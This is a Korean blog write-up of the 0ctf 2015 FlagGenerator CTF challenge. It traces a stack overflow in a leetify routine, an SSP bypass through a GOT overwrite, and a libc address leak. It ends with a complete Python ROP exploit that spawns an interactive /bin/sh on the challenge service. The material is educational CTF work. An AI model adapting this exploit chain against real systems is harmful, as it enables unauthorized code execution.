티스토리 뷰

0ctf 2015 – FlagGenerator (250pt) write-up

 

1. 문제

1. Flag 입력

2. Flag를 대문자로

3. Flag를 소문자로

4. 비슷한 모양의 숫자가 있는 알파벳들을 변경

5. Flag0ctf{Flag} 형태로 변경

6. Flag 출력

7. 프로그램 종료

60초가 지나면 프로그램 종료

 

 

보호기법

ASLR, NX, SSP


 

2. 취약점

int __cdecl Leetify_80488C6(char *dest)

{

  char *v1; // eax@3

  char *v2; // eax@4

  char *v3; // eax@5

  char *v4; // eax@6

  int v5; // ST14_4@6

  int v6; // eax@6

  char *v7; // eax@7

  char *v8; // eax@8

  char *v9; // eax@9

  char *v10; // eax@10

  char *v11; // eax@11

  char *v12; // eax@12

  char *v13; // eax@13

  char *v15; // [sp+14h] [bp-114h]@1

  char *i; // [sp+18h] [bp-110h]@1

  char src; // [sp+1Ch] [bp-10Ch]@1

  int v18; // [sp+11Ch] [bp-Ch]@1

 

  v18 = *MK_FP(__GS__, 20);

  v15 = &src;

  for ( i = dest; *i; ++i )

  {

    switch ( *i )

    {

      case 'A':

      case 'a':

        v1 = v15++;

        *v1 = '4';

        break;

      case 'B':

      case 'b':

        v2 = v15++;

        *v2 = '8';

        break;

      case 'E':

      case 'e':

        v3 = v15++;

        *v3 = '3';

        break;

      case 'H':

      case 'h':

        v4 = v15;

        v5 = (int)(v15 + 1);

        *v4 = '1';

        *(_BYTE *)v5 = '-';

        v6 = v5 + 1;

        v15 = (char *)(v5 + 2);

        *(_BYTE *)v6 = '1';

        break;

      case 'I':

      case 'i':

        v7 = v15++;

        *v7 = '!';

        break;

      case 'L':

      case 'l':

        v8 = v15++;

        *v8 = '1';

        break;

      case 'O':

      case 'o':

        v9 = v15++;

        *v9 = '0';

        break;

      case 'S':

      case 's':

        v10 = v15++;

        *v10 = '5';

        break;

      case 'T':

      case 't':

        v11 = v15++;

        *v11 = '7';

        break;

      case 'Z':

      case 'z':

        v12 = v15++;

        *v12 = '2';

        break;

      default:

        v13 = v15++;

        *v13 = *i;

        break;

    }

  }

  *v15 = 0;

  strcpy(dest, &src);

  return *MK_FP(__GS__, 20) ^ v18;

}

Flag 중 숫자와 비슷한 모양의 알파벳이 변환되는 부분이다. 0x100 바이트의 src에 변환된 Flag를 저장하고 destsrc를 복사하여 넣는다.

주목하여 볼 곳은 ‘h’, ‘H’ 문자를 만났을 때다. 다른 문자들은 11 변환이 이루어지지만 ‘h’, ’H’의 경우는 ‘1-1’로 한 문자가 세 개의 문자로 변한다. 문자의 개수가 늘어나기 때문에 ‘h’, ‘H’를 다량 입력하면 srcdest에 오버플로우를 일으킬 수 있다. 하지만 무작정 오버플로우를 일으킬 경우, SSP 보호기법에 의해 오버플로우가 감지되고 프로그램이 종료된다.

 

( ‘h’* 90 : 270개의 문자로 변환된다. )

__stack_chk_fail 함수를 우회할 방법을 먼저 찾아야 한다. src에 오버플로우를 일으키면 ret를 넘어 이 함수의 인자인 char *dest를 덮을 수 있다. 함수로 넘어간 인자를 조작하고 return 하기 전에 수행하는 strcpy(dest, &src)를 이용하면 원하는 주소에 원하는 값을 넣을 수가 있다. 여기서는 __stack_chk_fail 함수의 got puts함수의 plt를 썼다.

 

"1\n"+"\x10\x85\x04\x08"+"h"*90+"AA"+"\x1c\xb0\x04\x08"+"\n"+"4\n"

__stack_chk_fail함수가 puts함수로 변조된 후, esp에 들어있는 dest를 출력한 것을 확인 할 수 있다. 이제 ASLR을 우회하기 위해 라이브러리 내에 있는 어떤 함수의 주소를 유출시켜야 한다. retpust함수의 plt로 바꾸고 인자로 puts함수의 got를 썼다.

 

"1\n"+"\x10\x85\x04\x08"+"a"*8+"\x10\x85\x04\x08"+"h"*85+"A"+"\x8f\x8d\x04\x08"+"\x1c\xb0\x04\x08"+"\x10\x85\x04\x08"+"aaaa"+"\x10\xb0\x04\x08"+"\n"+"4\n"

유출한 주소와 puts의 주소가 동일한 것을 확인 할 수 있다.

 

 

3. exploit

from socket import*

from struct import*

from time import*


p = lambda x : pack("<L",x)

up = lambda x : unpack("<L",x)[0]


s = socket(AF_INET,SOCK_STREAM)

s.connect(('localhost',7878))



#####################################


def until(s, string):

data=''

while string not in data:

data += s.recv(1)

return data


#####################################


puts_plt = 0x08048510

puts_got = 0x0804b010

printf_plt = 0x080484b0

printf_got = 0x0804b028

stack_chk_fail_plt = 0x080484e0

stack_chk_fail_got = 0x0804b01c


read_func = 0x080486cb

blank_space = 0x0804b060


pr = 0x08048d8f

ppr = 0x08048d8e


print until(s,":")


print "send 1\n"

s.send("1\n")


sleep(0.5)


payload = p(puts_plt)

payload += "a"*8

payload += p(puts_plt)

payload += "h"*85

payload += "A"

payload += p(pr)

payload += p(stack_chk_fail_got)

payload += p(puts_plt)

payload += p(pr)

payload += p(puts_got)


payload += p(read_func)

payload += p(ppr)

payload += p(blank_space)

payload += p(0x10101010)


payload += p(read_func)

payload += p(ppr)

payload += p(stack_chk_fail_got)

payload += p(0x10101010)


payload += p(stack_chk_fail_plt)

payload += "a"*4

payload += p(blank_space)


payload += "\n"


print "send payload\n"

s.send(payload)


print until(s,":")

sleep(0.5)


print "send 4\n"

s.send("4\n")

sleep(1)

recvv = s.recv(1024)

#print recvv

puts_addr = up(recvv[338:342])

print "puts address : "+hex(puts_addr)[:-1]

system_addr = puts_addr - 155104

#system = up(recvv[337:341]) - 53488

#print "system : "+hex(system)[:-1]

print "system_addr : " + hex(system_addr)[:-1]


sleep(0.5)

s.send("/bin/sh\0\n")

sleep(0.5)

s.send(p(system_addr)+"\n")


print "\nyahoooooooooooo\n\n"


while True:

cmd = raw_input('$ ')

s.send(cmd+'\n')

print s.recv(1024)


s.close() 


 

 

 

 

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/03   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
글 보관함